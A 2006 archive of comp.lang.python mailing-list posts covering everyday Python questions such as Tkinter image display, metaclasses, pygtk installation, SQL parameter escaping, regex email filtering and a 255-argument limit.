References: <mailman.1094.1159801691.10491.python-list@python.org>
	<7xmz8ekayz.fsf@ruckus.brouhaha.com>
	<1159803931.803028.197770@k70g2000cwa.googlegroups.com>
Message-ID: <1159804577.273149.256480@k70g2000cwa.googlegroups.com>


gene tani wrote:
> Plus, how do you order "https:", "ftp", URLs with "www.", "www2." ,
> named anchors etc?

Now is a good time to point out the urlparse module in the standard
library.  It will help the OP with all of this stuff.

just adding my 2 cents.

...
jay graves



From deets at nospam.web.de  Wed Oct 25 13:27:12 2006
From: deets at nospam.web.de (Diez B. Roggisch)
Date: Wed, 25 Oct 2006 19:27:12 +0200
Subject: python html 2 image (png)
In-Reply-To: <1161778587.501281.92320@h48g2000cwc.googlegroups.com>
References: <1161763383.622381.299350@b28g2000cwb.googlegroups.com>
	<mailman.1155.1161764711.11739.python-list@python.org>
	<1161778587.501281.92320@h48g2000cwc.googlegroups.com>
Message-ID: <4q9l3cFm97ffU1@uni-berlin.de>

baur79 at gmail.com schrieb:
>> what tools are you using to do that today?
> 
> where are many of EXE programs
> but i need python solution for adding it to my automate program under
> lunix

Whatever lunix is, under linux, a popular free OS you could e.g. use 
PyKDE and let Qt render a KHTML-component into an image.



Diez


From faulkner612 at comcast.net  Wed Oct 25 23:05:49 2006
From: faulkner612 at comcast.net (faulkner)
Date: 25 Oct 2006 20:05:49 -0700
Subject: Computer locks up when running valid stand alone Tkinter file.
In-Reply-To: <mailman.1221.1161821549.11739.python-list@python.org>
References: <mailman.1221.1161821549.11739.python-list@python.org>
Message-ID: <1161831949.926000.65680@e3g2000cwe.googlegroups.com>

> But, when I call it from another module it locks
methinks this "other module" has the answer.

jim-on-linux wrote:
> py help,
>
> The file below will run as a stand alone file.
> It works fine as it is.
>
> But, when I call it from another module it locks
> my computer, The off switch is the only
> salvation.
>
> This module when run as a stand alone, it will
> open a jpeg image and add a vertical and
> horizontal scrollbar to the canvass.
> That's all it does.
>
> Replace the img9.jpg file with one of your own,
> put the image in the current working dir., and
> run.
>
> If you think you can help, I would appreciate it.
>
>
> jim-on-linux
>
>
>
>
>
> ############################################
>
> #!/usr/bin/env python
>
> """
> #############################################
> import Tkinter as Tk
>
>     Do not do
>     ( from Tkinter import * )
>     because of  name space conflict with
> Image.open
>
> ##############################################
>
> ####    below imports  Image and ImageTk are from
> ####    Imaging-1.1.5, PIL  in Python
>
> """
>
>
> import Image
> import  ImageTk
> import Tkinter as Tk
> import os
>
> vpath = os.getcwd()+os.sep+'img9.jpg'
>
>
>
> class Kshow_0 :
>
>     def __init__(self ) :
>         self.Fimgshow0()
>
>     def Fimgshow0(self ) :
>         window = Tk.Tk()    # used for stamd alone
>
>        #  window = Tk.Toplevel()
>          # Above Toplevel call used when running
>           # from another file
>
>
>
>         window.title(' Image Location '+vpath )
>         window.protocol('WM_DELETE_WINDOW',
>                                    window.destroy)
>
>         vcanvas = Tk.Canvas(window, width = 375,
>                                height=375,
>                               borderwidth = 1, bg=
>                                'white')
>
>         sbarY=Tk.Scrollbar()
>         sbarX = Tk.Scrollbar( orient='horizontal')
>         sbarY.config(command= vcanvas.yview)
>         sbarX.config(command= vcanvas.xview)
>
>         vcanvas.config(yscrollcommand=sbarY.set)
>         vcanvas.config(xscrollcommand=sbarX.set)
>
>         sbarY.pack(side='right', fill='y')
>         sbarX.pack(side='bottom', fill='x')
>         vcanvas.pack(expand='yes',  fill='both')
>
>         im= Image.open( vpath)
>         tkim = ImageTk.PhotoImage(im)
>
>         imgW = tkim.width()
>         print imgW, '## imgW, jpg 58\n'
>
>         imgH = tkim.height()
>         print imgH, '## imgH, jpg 61\n'
>
>         # Draw the image on the canvas
>         vcanvas.create_image(0, 0,  image=tkim,
>                                 anchor = 'nw'  )
>
>         vcanvas.config(scrollregion= (0, 0, imgW,
>                                            imgH))
>         window.mainloop ()
> 
> 
> if __name__ == '__main__' :
> 
>     Kshow_0()



From g.brandl-nospam at gmx.net  Wed Oct  4 17:03:37 2006
From: g.brandl-nospam at gmx.net (Georg Brandl)
Date: Wed, 04 Oct 2006 23:03:37 +0200
Subject: What value should be passed to make a function use the default
	argument value?
In-Reply-To: <7xhcyk2u1z.fsf@ruckus.brouhaha.com>
References: <1159906617.790518.323860@m7g2000cwm.googlegroups.com>
	<7xwt7gqwb3.fsf@ruckus.brouhaha.com>
	<slrnei7235.55m.apardon@rcpc42.vub.ac.be>
	<7xac4cpefr.fsf@ruckus.brouhaha.com>
	<slrnei73f7.55m.apardon@rcpc42.vub.ac.be>
	<eg03un$se8$1@news.albasani.net>
	<slrnei75t2.55m.apardon@rcpc42.vub.ac.be>
	<7xhcyk2u1z.fsf@ruckus.brouhaha.com>
Message-ID: <eg17jd$gsr$1@news.albasani.net>

Paul Rubin wrote:
> Antoon Pardon <apardon at forel.vub.ac.be> writes:
>> repeat(object[, times])
>>     Make an iterator that returns object over and over again. Runs
>>     indefinitely unless the times argument is specified. ...
>> 
>> My first impression from this, is that it is possible to call
>> this as follows:
>>   repeat(None, times = 5)
>> But that doesn't work either.
> 
> The code and/or doc is wrong, you have to use a positional arg
> and not a named one.  repeat(None, 5) does the right thing.

This is an issue in most Python documentation: you're not told
if the described function is implemented in C, and if it is
keyword arg-enabled. The arguments must be given names though,
to be able to document them.

Georg


From jjl at pobox.com  Fri Oct  6 16:37:09 2006
From: jjl at pobox.com (John J. Lee)
Date: Fri, 06 Oct 2006 20:37:09 GMT
Subject: News on versions modules for Python-2.5?
References: <45269df8$0$25949$ba4acef3@news.orange.fr>
Message-ID: <87odspyydm.fsf@pobox.com>

"M?ta-MCI" <enleverlesX.XmcX at XmclaveauX.com> writes:
[...]
> And who can confirm that these modules are independent of Python version?
> 
>     ReportLab
[...]

Most of the code is pure Python and I don't recall any 2.5-specific
bug reports yet.  For the (optional) parts that are written in C,
there are 2.5 Windows binaries already on reportlab.org:

http://reportlab.org/downloads.html


John


From timr at probo.com  Tue Oct 24 02:15:44 2006
From: timr at probo.com (Tim Roberts)
Date: Tue, 24 Oct 2006 06:15:44 GMT
Subject: How to upgrade python from 2.4.3 to 2.4.4 ?
References: <mailman.810.1161324583.11739.python-list@python.org>
	<45386ba2$0$1206$9b622d9e@news.freenet.de>
	<rojlj25prc0shgqrdmag8c8ot6hrq2c79i@4ax.com>
	<fHB_g.17203$UG4.9688@newsread2.news.pas.earthlink.net>
Message-ID: <apbrj2pe4o5clis6rmhen83kr93kd617pa@4ax.com>

Dennis Lee Bieber <wlfraed at ix.netcom.com> wrote:

>On Sun, 22 Oct 2006 01:55:53 GMT, Tim Roberts <timr at probo.com> declaimed
>the following in comp.lang.python:
>
>> Having learned that lesson the hard way, I now keep a directory with zips
>> and tarballs for all of the add-ins I have installed, and I maintain a
>> single batch file that will install all of them.  This also makes it
>> trivially easy to install my environment on a different computer.
>
>	Okay if one builds such from sources... but us poor Windows flunkies
>without a build environment have to wait for some kindly soul to build
>the installer compatible with the new Python version.

I run Windows.  Only a fraction of the packages I've stored up actually
require compiling anything.

Further, as I understand it, Python 2.4 extensions can be built with the
free "express edition" compiler from Microsoft.
-- 
Tim Roberts, timr at probo.com
Providenza & Boekelheide, Inc.


From __peter__ at web.de  Mon Oct  9 02:53:31 2006
From: __peter__ at web.de (Peter Otten)
Date: Mon, 09 Oct 2006 08:53:31 +0200
Subject: Access to static members from inside a method decorator?
References: <1159968945.192014.249380@k70g2000cwa.googlegroups.com>
	<4524c9bb$0$23498$426a74cc@news.free.fr>
	<1160061499.579029.9130@k70g2000cwa.googlegroups.com>
	<mailman.1360.1160063063.10491.python-list@python.org>
	<1160104692.597151.143200@b28g2000cwb.googlegroups.com>
	<eg53cl$u3e$00$1@news.t-online.com>
	<1160302346.056185.325260@e3g2000cwe.googlegroups.com>
Message-ID: <egcrhm$35a$01$1@news.t-online.com>

glen.coates.bigworld at gmail.com wrote:

> Thanks Peter.  Yeah I had thought of that earlier, but wasn't sure if
> this is a standard design pattern for what I'm trying to achieve.  It
> seems ugly to me to use 2 classes when you are essentially describing a
> single type.  

To me both Exposed and ExposedType look more idiomatic than your combined
approach.

> Is the Splat/SplatType pairing really a common design 
> pattern when trying to use metaclasses in this way?

I think so, but look for yourself:

http://www.google.com/codesearch?q=lang%3Apython+__metaclass__&btnG=Search+Code

Refinements to that query welcome...

Peter


From misterwang at gmail.com  Thu Oct 12 18:38:12 2006
From: misterwang at gmail.com (Peter  Wang)
Date: 12 Oct 2006 15:38:12 -0700
Subject: Python component model
In-Reply-To: <1VzWg.7212$Y24.1666@newsread4.news.pas.earthlink.net>
References: <W5wWg.7118$Y24.2917@newsread4.news.pas.earthlink.net>
	<mailman.130.1160418618.11739.python-list@python.org>
	<HwxWg.5035$Lv3.2259@newsread1.news.pas.earthlink.net>
	<mailman.141.1160429886.11739.python-list@python.org>
	<1VzWg.7212$Y24.1666@newsread4.news.pas.earthlink.net>
Message-ID: <1160692692.522474.96540@i42g2000cwa.googlegroups.com>

Edward Diener wrote:
> It looks as if traits is an attempt to create a "property" in the
> component terminology which I originally specified. I will take a look
> at it.

Traits is frighteningly similar to the requirements that you laid out
in your post (the example for Skip), including delegates!  I would like
to point out, however, that traits is a *general* component framework
for python that facilitates implementing the observer pattern and a
higher level of introspection.  It can be used to build applications
that have no visual interfaces at all, but wish to benefit from the
"reactive programming" style that componentized, event-based
programming encourages.  (induces?)

Traits UI, which Robert only alluded to, is actually very much the sort
of RAD environment you have described.  It builds upon the component
model, and uses introspection to automagically create nice widgets for
your model, but adds mechanisms for specifying controllers, customizing
behavior, and generically composing complicated forms from simpler
ones.  There is even a visual "builder" tool for it called VET that
closely resembles Delphi/C++ Builder.  (The VET itself is, of course,
written using Traits UI.)

Envisage, the plugin application framework, can use the traits
component models and the TraitsUI interfaces to roll out very dynamic
applications, whose underlying models are all live components that can
be scripted, twiddled with from an embedded Python shell, etc.

> Already subscribed. Thanks !

Please contribute ideas or ask conceptual questions!

Oh, and disclaimer: I also work at enthought. :)


-peter



From fredrik at pythonware.com  Fri Oct 13 05:05:35 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Fri, 13 Oct 2006 11:05:35 +0200
Subject: Click and Drag Functionality in Web Apps with Python
References: <mailman.374.1160660171.11739.python-list@python.org>
	<4p92q4Fh1pc9U1@uni-berlin.de>
Message-ID: <egnkt0$e7g$1@sea.gmane.org>

Diez B. Roggisch wrote:

> There is mochikit, a javascript library that makes coding in javascript
> suck less.

and which is written by an experienced Python programmer, so it also
makes your JavaScript look and feel a little more Pythonic.

(not that JavaScript itself is that unpythonic, really, but some of the API:s
suck pretty badly).

</F> 





From gagsl-py at yahoo.com.ar  Mon Oct  9 19:42:08 2006
From: gagsl-py at yahoo.com.ar (Gabriel Genellina)
Date: Mon, 09 Oct 2006 20:42:08 -0300
Subject: Subclassing built-in classes
In-Reply-To: <463ff4860610070035q4619b940y5c356d28e433ea3f@mail.gmail.co
 m>
References: <1160048997.394218.3760@c28g2000cwb.googlegroups.com>
	<200610051700.00482.maric@aristote.info>
	<eg3iid$ada$1@sea.gmane.org>
	<200610061158.21402.maric@aristote.info>
	<7.0.1.0.0.20061007031449.039efa98@yahoo.com.ar>
	<463ff4860610070035q4619b940y5c356d28e433ea3f@mail.gmail.com>
Message-ID: <7.0.1.0.0.20061009203930.046257a8@yahoo.com.ar>

At Saturday 7/10/2006 04:35, hanumizzle wrote:

> > >As the first post said "...couldn't python (in theory)...", I 
> was discussing
> > >if it would be possible for python (in some future version) to manage the
> > >literals so that they use the constructors in the __builtin__ module, I
> > >didn't say it works actually (I'm aware it's not the case).
>Somehow, I missed Python's round() function and came up with
>convoluted solution involving decimal. Gee duh, Theerasak

Ah! So this is applicable:
Describe the goal, not the step
http://catb.org/~esr/faqs/smart-questions.html#goal


-- 
Gabriel Genellina
Softlab SRL 


	
	
		
__________________________________________________
Pregunt?. Respond?. Descubr?.
Todo lo que quer?as saber, y lo que ni imaginabas,
est? en Yahoo! Respuestas (Beta).
?Probalo ya! 
http://www.yahoo.com.ar/respuestas



From paddy3118 at netscape.net  Tue Oct 31 01:20:57 2006
From: paddy3118 at netscape.net (Paddy)
Date: 30 Oct 2006 22:20:57 -0800
Subject: enumerate improvement proposal
In-Reply-To: <MWw1h.2703$s6.1623@newssvr11.news.prodigy.com>
References: <zj01h.17562$TV3.14454@newssvr21.news.prodigy.com>
	<mailman.1435.1162124420.11739.python-list@python.org>
	<Jb11h.17572$TV3.6879@newssvr21.news.prodigy.com>
	<mailman.1437.1162125524.11739.python-list@python.org>
	<TDb1h.17175$GR.940@newssvr29.news.prodigy.net>
	<4qn37kFmc3q0U1@uni-berlin.de>
	<tQv1h.25456$7I1.21803@newssvr27.news.prodigy.net>
	<mailman.1510.1162251707.11739.python-list@python.org>
	<MWw1h.2703$s6.1623@newssvr11.news.prodigy.com>
Message-ID: <1162275657.540693.51440@k70g2000cwa.googlegroups.com>


James Stroud wrote:
> Steve Holden wrote:
> > How could you end up marrying
> > someone who counts from one and not zero? ;-)
>
> She's the only other person I've ever met who used vi key binding at the
> command line.
>
Wow. Now I see!

It's only Python. Just add one to indices where appropriate, buy her
chocolates. Don't say a thing when you squelch your seventh off-by-one
error. Look interested in the shoe store. (even for the fifth shoe, of
the third store). - *Your partner does vi*

 Whoa!

- Paddy :-)



From smithj at rpath.com  Fri Oct 20 15:01:41 2006
From: smithj at rpath.com (Jonathan Smith)
Date: Fri, 20 Oct 2006 15:01:41 -0400
Subject: Pygtk but no gtk?
In-Reply-To: <1161370274.621757.299970@m73g2000cwd.googlegroups.com>
References: <1161370274.621757.299970@m73g2000cwd.googlegroups.com>
Message-ID: <45391D15.3010906@rpath.com>

chengiz at my-deja.com wrote:
> I am trying to build an app that requires pygtk so I installed the
> latter. The app does the following:
> import pygtk
> ...
> import gtk
> 
> This crashes with
> ImportError: No module named gtk.
> 
> I dont know where to get this gtk module from. I assumed pygtk would be
> it coz the app doesnt mention any dependency on gtk, also googling
> didnt find anything but pygtk. Did I screw up the installation or
> something? I dont find any gtk.py file in the python library
> directories.
> 
> Thank you.
> Khan
> 

my pygtk provides 
/usr/lib/python2.4/site-packages/gtk-2.0/gtk/__init__.py, which contains 
the gtk module. You should ensure that you have that file, and if not, 
find out where to get it.

-smithj


From fredrik at pythonware.com  Mon Oct  2 06:46:01 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Mon, 2 Oct 2006 12:46:01 +0200
Subject: Python threads and Numeric/SciPy exploit Dual Core ?
References: <efqq34$22nc$1@ulysses.news.tiscali.de>
Message-ID: <efqql9$ji9$1@sea.gmane.org>

"robert" wrote:

> Simple Python code obviously cannot use the dual core by Python threads.
> Yet, a program drawing CPU mainly for matrix computations - preferably
> with Numeric/SciPy -  will this profit from a dual core when using 2 (or
> more) Python threads?

as long as the binding releases the GIL, sure.

</F> 





From gagsl-py at yahoo.com.ar  Thu Oct  5 17:34:04 2006
From: gagsl-py at yahoo.com.ar (Gabriel Genellina)
Date: Thu, 05 Oct 2006 18:34:04 -0300
Subject: weakSet
In-Reply-To: <1160067184.086527.20420@e3g2000cwe.googlegroups.com>
References: <1160067184.086527.20420@e3g2000cwe.googlegroups.com>
Message-ID: <7.0.1.0.0.20061005181927.0463fe38@yahoo.com.ar>

At Thursday 5/10/2006 13:53, jean.philippe.mague at gmail.com wrote:

>Has anyone ever think about a set wich references its elements weakly ?
>The *easy* solution would provide a WeakSet class with the following
>behavior:
> >>>s=set([a, b])
> >>>ws=WeakSet([b,c])
> >>>(ws&s).__class__() is WeakSet
>True
> >>>s&ws
>TypeError: unsupported operand type(s) for &: 'set' and 'instance'
>
>the hard olution would  add the following behavior:
> >>>(s&ws).__class__() is WeakSet
>True
>
>Any hint for the easy solution ?
>for the hard one ?

For s&ws you can define the reversed operators, __rand__ in this case 
(look up in the Python Reference Manual)

 >>>
 >>> class A(object): pass
...
 >>> a=A()
 >>> 1&a
Traceback (most recent call last):
   File "<stdin>", line 1, in ?
TypeError: unsupported operand type(s) for &: 'int' and 'A'
 >>> class B(object):
...   def __init__(self, value): self.value = value
...   def __repr__(self): return 'B(%s)' % self.value
...   def __rand__(self, other):
...     return B(self.value&other)
...
 >>> b=B(3)
 >>> b
B(3)
 >>> 1&b
B(1)
 >>>

Now, managing the weakrefs is up to you...


Gabriel Genellina
Softlab SRL 


	
	
		
__________________________________________________
Pregunt?. Respond?. Descubr?.
Todo lo que quer?as saber, y lo que ni imaginabas,
est? en Yahoo! Respuestas (Beta).
?Probalo ya! 
http://www.yahoo.com.ar/respuestas



From g.brandl-nospam at gmx.net  Sun Oct 22 14:37:09 2006
From: g.brandl-nospam at gmx.net (Georg Brandl)
Date: Sun, 22 Oct 2006 20:37:09 +0200
Subject: pylint: What's wrong with the builtin map()
In-Reply-To: <_NO_g.236$P33.29@read3.inet.fi>
References: <MnO_g.219$P33.22@read3.inet.fi> <ehgc24$6vh$1@news.albasani.net>
	<_NO_g.236$P33.29@read3.inet.fi>
Message-ID: <ehgdoq$9go$1@news.albasani.net>

Tuomas wrote:
> Georg Brandl wrote:
>> Some people think that all occurences of map() must be replaced
>> by list comprehensions. The designer of pylint seems to be
>> one of those.
> 
> So it seems, but why?

See Fredrik's post. There's no error in the expression with map(),
it's just less effective than a LC, but only if used with a
lambda.

> Formally spoken we ase "using variable 'x' before 
> assigment" in the comprehension too.

That's another issue. I'd suggest a bug in pylint. (You probably
have a variable called "x" later in the file.

My version of pylint (0.12.1) doesn't show this "error".

Georg


From bearophileHUGS at lycos.com  Sat Oct 21 12:45:14 2006
From: bearophileHUGS at lycos.com (bearophileHUGS at lycos.com)
Date: 21 Oct 2006 09:45:14 -0700
Subject: iniziare a programmare
In-Reply-To: <1161445127.948353.182600@k70g2000cwa.googlegroups.com>
References: <1161106121.260333.271580@m7g2000cwm.googlegroups.com>
	<1hnddwf.odylkk14ndrlsN%riko@despammed.com>
	<1161358366.496604.247770@b28g2000cwb.googlegroups.com>
	<1hnipew.1rnh52e1rk6pwoN%riko@despammed.com>
	<1161359952.145595.270820@m7g2000cwm.googlegroups.com>
	<1hnist4.res269wrqdztN%riko@despammed.com>
	<1161366833.784104.263660@h48g2000cwc.googlegroups.com>
	<1hnixkl.1pr40sj4nj77aN%riko@despammed.com>
	<1161425512.397947.218230@f16g2000cwb.googlegroups.com>
	<1hnk8ai.gch445smxm2zN%riko@despammed.com>
	<1161436269.116037.287000@m73g2000cwd.googlegroups.com>
	<1hnke8e.ycmk4hbecvwN%riko@despammed.com>
	<1161445127.948353.182600@k70g2000cwa.googlegroups.com>
Message-ID: <1161449114.702891.305410@i3g2000cwc.googlegroups.com>

Lemon Tree:

Interesting discussion, and I agree that having more info about the
exceptions that can be raised is generally useful. You too can improve
python docs, putting more info inside them.
But this is the wrong newgroup, this isn't iclp, this is clp.

Bye,
bearophile



From richardjones at optushome.com.au  Tue Oct 31 17:21:12 2006
From: richardjones at optushome.com.au (Richard Jones)
Date: Wed, 01 Nov 2006 09:21:12 +1100
Subject: 3d programming without opengl
References: <mailman.1526.1162280594.11739.python-list@python.org>
	<12kf7gishr60ta3@corp.supernews.com>
	<mailman.1566.1162322123.11739.python-list@python.org>
Message-ID: <4547cc58$0$11970$afc38c87@news.optusnet.com.au>

Fredrik Lundh wrote:
> Grant Edwards wrote:
> 
>> Oy.  A pure Python solution would probably be _really_ slow.
> 
> Pure Python doesn't necessarily imply "no graphics drawing code written
> in some other language", though.  You can get pretty far by using a 2D
> library for simple 3D rendering.

Someone wrote a 3D demo for the pygame.draw challenge*. It worked but
unfortunately he didn't end up finishing and submitting it. It had severe
performance limitations :)


    Richard

*: http://media.pyweek.org/static/pygame.draw-0606.html


From claird at lairds.us  Tue Oct  3 21:29:35 2006
From: claird at lairds.us (Cameron Laird)
Date: Wed, 4 Oct 2006 01:29:35 +0000
Subject: python threading and timing
References: <mailman.1061.1159734492.10491.python-list@python.org>
	<RVXTg.1621$Lv3.584@newsread1.news.pas.earthlink.net>
	<efqm8t$m9m$1@upsn250.cri.u-psud.fr>
Message-ID: <vcfbv3-e08.ln1@lairds.us>

In article <efqm8t$m9m$1 at upsn250.cri.u-psud.fr>,
Laurent Pointal  <laurent.pointal at limsi.fr> wrote:
			.
			.
			.
>May use Python for some -non realtime- parts, but I would not use any
>scripting language (not specific to Python) for real-time work (prefer
>C, ADA, maybe Java with ad-hoc extensions).
			.
			.
			.
Tcl and Erlang have interesting real-time capabilities, and
generally are regarded as "scripting languages".


From john106henry at hotmail.com  Tue Oct 31 13:01:44 2006
From: john106henry at hotmail.com (John Henry)
Date: 31 Oct 2006 10:01:44 -0800
Subject: ANN: Leo 4.4.2.1 final released
In-Reply-To: <6Zx1h.77$uA3.75@newsfe04.lga>
References: <ur31h.321$XF5.101@newsfe06.lga>
	<1162143217.977375.290570@i42g2000cwa.googlegroups.com>
	<6Zx1h.77$uA3.75@newsfe04.lga>
Message-ID: <1162317704.737441.215200@h48g2000cwc.googlegroups.com>

Yes, it's Python 2.3, running under Windows XP.

I managed to get it working using the ZIP file.

Thanks,

Edward K. Ream wrote:
> >I downloaded the Windows exe, ran it and a small blank message window poped
> >up and that was it.
> > I am still running 2.3.
>
> I assume you mean Python 2.3, not Leo 2.3 :-)  I know for sure that Leo
> works with Python 2.3. In the future, please report problems to one of Leo's
> forums.  And when reporting problems please tell me what platform you are
> using.
>
> You can probably see more information by running Leo in a console.  See
> Leo's FAQ for instructions:
> http://webpages.charter.net/edreamleo/FAQ.html#how-can-i-run-leo-from-a-console-window
>
> Edward
> --------------------------------------------------------------------
> Edward K. Ream   email:  edreamleo at charter.net
> Leo: http://webpages.charter.net/edreamleo/front.html
> --------------------------------------------------------------------



From m.yanowitz at kearfott.com  Wed Oct 25 09:14:54 2006
From: m.yanowitz at kearfott.com (Michael Yanowitz)
Date: Wed, 25 Oct 2006 09:14:54 -0400
Subject: 255 argument limit?
Message-ID: <016101c6f837$90060080$0d7d12ac@kearfott.com>

Hello:

   It appears that there is a 255 argument limit in Python 2.4.3?

>>> packed_data = struct.pack("260i",
0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21
,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,
47,4
8,49,50,1,1,1,1,1,1,1,1,1,60,1,2,3,4,5,6,7,8,9,70,1,2,3,4,5,6,7,8,9,80,1,2,3
,4,5
,6,7,8,9,90,1,2,3,4,5,6,7,8,9,100,1,2,3,4,5,6,7,8,9,110,1,2,3,4,5,6,7,8,9,12
0,1,
2,3,4,5,6,7,8,9,130,1,2,3,4,5,6,7,8,9,140,1,2,3,4,5,6,7,8,9,150,1,2,3,4,5,6,
7,8,
9,160,1,2,3,4,5,6,7,8,9,170,1,2,3,4,5,6,7,8,9,180,1,2,3,4,5,6,7,8,9,190,1,2,
3,4,
5,6,7,8,9,200,1,2,3,4,5,6,7,8,9,210,1,2,3,4,5,6,7,8,9,220,1,2,3,4,5,6,7,8,9,
230,
1,2,3,4,5,6,7,8,9,240,1,2,3,4,5,6,7,8,9,250,1,2,3,4,5,6,7,8,9)
SyntaxError: more than 255 arguments

   Is there a way to increase this limit?
(This is just a made up example, I would not normally do this).

Thanks in advance:
Michael Yanowitz




From duncan.booth at invalid.invalid  Mon Oct  9 07:18:59 2006
From: duncan.booth at invalid.invalid (Duncan Booth)
Date: 9 Oct 2006 11:18:59 GMT
Subject: Why do this?
References: <mailman.1336.1160044062.10491.python-list@python.org>
	<Xns985378283690Dduncanbooth@127.0.0.1>
	<mailman.1442.1160128745.10491.python-list@python.org>
	<Xns98547173763B6duncanbooth@127.0.0.1>
	<egci8i$43p$1@lust.ihug.co.nz>
	<Xns985755C711158duncanbooth@127.0.0.1>
	<egd0hd$u3r$1@lust.ihug.co.nz>
Message-ID: <Xns98577D4AB8042duncanbooth@127.0.0.1>

Lawrence D'Oliveiro <ldo at geek-central.gen.new_zealand> wrote:

>>> I use the above when I can, when I can't I fall back on
>>><http://groups.google.co.nz/groups?selm=efc5b3$can$1 at lust.ihug.co.nz>,
>>><http://groups.google.co.nz/groups?selm=efhn5v$fia$2 at lust.ihug.co.nz>.
>> 
>> Yes, so you said, but you never came up with a convincing use case
>> where that function was better than using the parameterised queries.
> 
> First of all, the parametrization doesn't handle wildcards, as we
> discussed previously.

No, your separate function for escaping wildcards is fine, and works in 
conjunction with parameterized queries. It's the SQLString function you 
never managed to justify.

> Secondly, it's less convenient for cases where a dynamic query is being
> built. I previously gave the SQLStringList example. If that's not enough,
> here's another (simple) one:

See Frederik's excellent response on this point.


From sjdevnull at yahoo.com  Wed Oct  4 16:23:33 2006
From: sjdevnull at yahoo.com (sjdevnull at yahoo.com)
Date: 4 Oct 2006 13:23:33 -0700
Subject: Having trouble using CTypes with a custom function
In-Reply-To: <1159985896.742017.313430@e3g2000cwe.googlegroups.com>
References: <1159985896.742017.313430@e3g2000cwe.googlegroups.com>
Message-ID: <1159993412.807981.271750@b28g2000cwb.googlegroups.com>

tkondal at gmail.com wrote:
> Hi all.
>
> I just started looking at Python's ctypes lib and I am having trouble
> using it for a function.
[...]
> #C++ Prototype of the function I want to call:

ctypes  provides support for calling functions in C libraries, using C
datatypes.  I don't see any reason to believe it would work with other
languages (e.g. C++).



From python.list at tim.thechases.com  Thu Oct 26 17:54:34 2006
From: python.list at tim.thechases.com (Tim Chase)
Date: Thu, 26 Oct 2006 16:54:34 -0500
Subject: Search & Replace
In-Reply-To: <1161898031.481159.202310@f16g2000cwb.googlegroups.com>
References: <1161898031.481159.202310@f16g2000cwb.googlegroups.com>
Message-ID: <45412E9A.9000501@tim.thechases.com>

> Below is my attempt at it, but this code appends
> a copy of the text file within itself 4 times.
> Can someone help me out.
[snip]
> file = open("text.txt", "w")
> file.write(text.replace("Left_RefAddr", "FromLeft"))
> file.write(text.replace("Left_NonRefAddr", "ToLeft"))
> file.write(text.replace("Right_RefAddr", "FromRight"))
> file.write(text.replace("Right_NonRefAddr", "ToRight"))
> file.close()


Well, as you can see, you're writing (write()) the text 4 times.

Looks like you want something like

file.write(text.replace("Left_RefAddr", 
"FromLeft").replace("Left_NonRefAddr", 
"ToLeft").replace("Right_RefAddr", 
"FromRight").replace("Right_NonRefAddr", "ToRight"))


which is about the equiv. of

text = text.replace(...1...)
text = text.replace(...2...)
text = text.replace(...3...)
text = text.replace(...4...)
file.write(text)

I would also be remiss if I didn't mention that it's generally 
considered bad form to use the variable-name "file", as it 
shadows the builtin "file".

There are additional ways if replacements cause problems that 
then themselves get replaced, and this is an undesired behavior. 
  However, it looks like your example doesn't have this problem, 
so the matter is moot.

-tkc




From fulvio at tm.net.my  Wed Oct 18 09:58:11 2006
From: fulvio at tm.net.my (Fulvio)
Date: Wed, 18 Oct 2006 21:58:11 +0800
Subject: [OT] a little about regex
In-Reply-To: <RPkZg.6684$fl.2400@dukeread08>
References: <mailman.669.1161155299.11739.python-list@python.org>
	<RPkZg.6684$fl.2400@dukeread08>
Message-ID: <200610182158.11403.fulvio@tm.net.my>

***********************
Your mail has been scanned by InterScan MSS.
***********************


On Wednesday 18 October 2006 15:32, Ron Adam wrote:

> |Instead of using two separate if's, Use an if - elif and be sure to test

Thank you, Ron, for the input :)
I'll examine also in this mode. Meanwhile I had faced the total disaster :) of 
deleting all my emails from all server ;(
(I've saved them locally, luckly :) )

> |It's not exactly clear on what output you are seeking. ?If you want 0 for
> | not filtered and 1 for filtered, then look to Freds Hint.

Actually the return code is like herein:

    if _filter(hdrs,allow,deny):
    # allow and deny are objects prepared by re.compile(pattern)
        _del(Num_of_Email)

In short, it means unwanted to be deleted. 
And now the function is :

def _filter(msg,al,dn):
    """ Filter try to classify a list of lines for a set of compiled             
     patterns."""
    a = 0
    for hdrline in msg:
        # deny has the first priority and stop any further searching. Score 10 
         #times
        if dn.search(hdrline): return len(msg) * 10
        if al.search(hdrline): return 0
        a += 1
    return a # it returns with a score of rejected matches or zero if none


The patterns are taken from a configuration file. Those with Axx ='pattern' 
are allowing streams the others are Dxx to block under different criteria.
Here they're :

[Filters]
A01 = ^From:.*\.it\b
A02 = ^(To|Cc):.*frioio@
A03 = ^(To|Cc):.*the_sting@
A04 = ^(To|Cc):.*calm_me_or_die@
A05 = ^(To|Cc):.*further@
A06 = ^From:.*\.za\b
D01 = ^From:.*\.co\.au\b
D02 = ^Subject:.*\*\*\*SPAM\*\*\*

*A bit of fake in order to get some privacy* :)
I'm using configparser to fetch their value and they're are joint by :

    allow = re.compile('|'.join([k[1] for k in ifil if k[0] is 'a']))
    deny = re.compile('|'.join([k[1] for k in ifil if k[0] is 'd']))

ifil is the input filter's section.

At this point I suppose that I have realized the right thing, just I'm a bit 
curious to know if ithere's a better chance and realize a single regex 
compilation for all of the options.
Basically the program will work, in term of filtering as per config and 
sincronizing with local $HOME/Mail/trash (configurable path). This last 
option will remove emails on the server for those that are in the local 
trash.
Todo = backup local and remote emails for those filtered as good.
            multithread to connect all server in parallel
            SSL for POP3 and IMAP4 as well
Actually I've problem on issuing the command to imap server to flag "Deleted" 
the message which count as spam. I only know the message details but what 
is the correct command is a bit obscure, for me.
BTW whose Fred?

F




From Matthew.Warren at Digica.com  Tue Oct  3 11:07:06 2006
From: Matthew.Warren at Digica.com (Matthew Warren)
Date: Tue, 3 Oct 2006 16:07:06 +0100
Subject: Escapeism
In-Reply-To: <1159635727.840033.169540@m73g2000cwd.googlegroups.com>
Message-ID: <D4F9316ACC9D20489CC81D19B8A87D5B039FE587@UKEX01.Digica.local>

 

> -----Original Message-----
> From: 
> python-list-bounces+matthew.warren=digica.com at python.org 
> [mailto:python-list-bounces+matthew.warren=digica.com at python.o
> rg] On Behalf Of Kay Schluehr
> Sent: 30 September 2006 18:02
> To: python-list at python.org
> Subject: Re: Escapeism
> 
> Sybren Stuvel wrote:
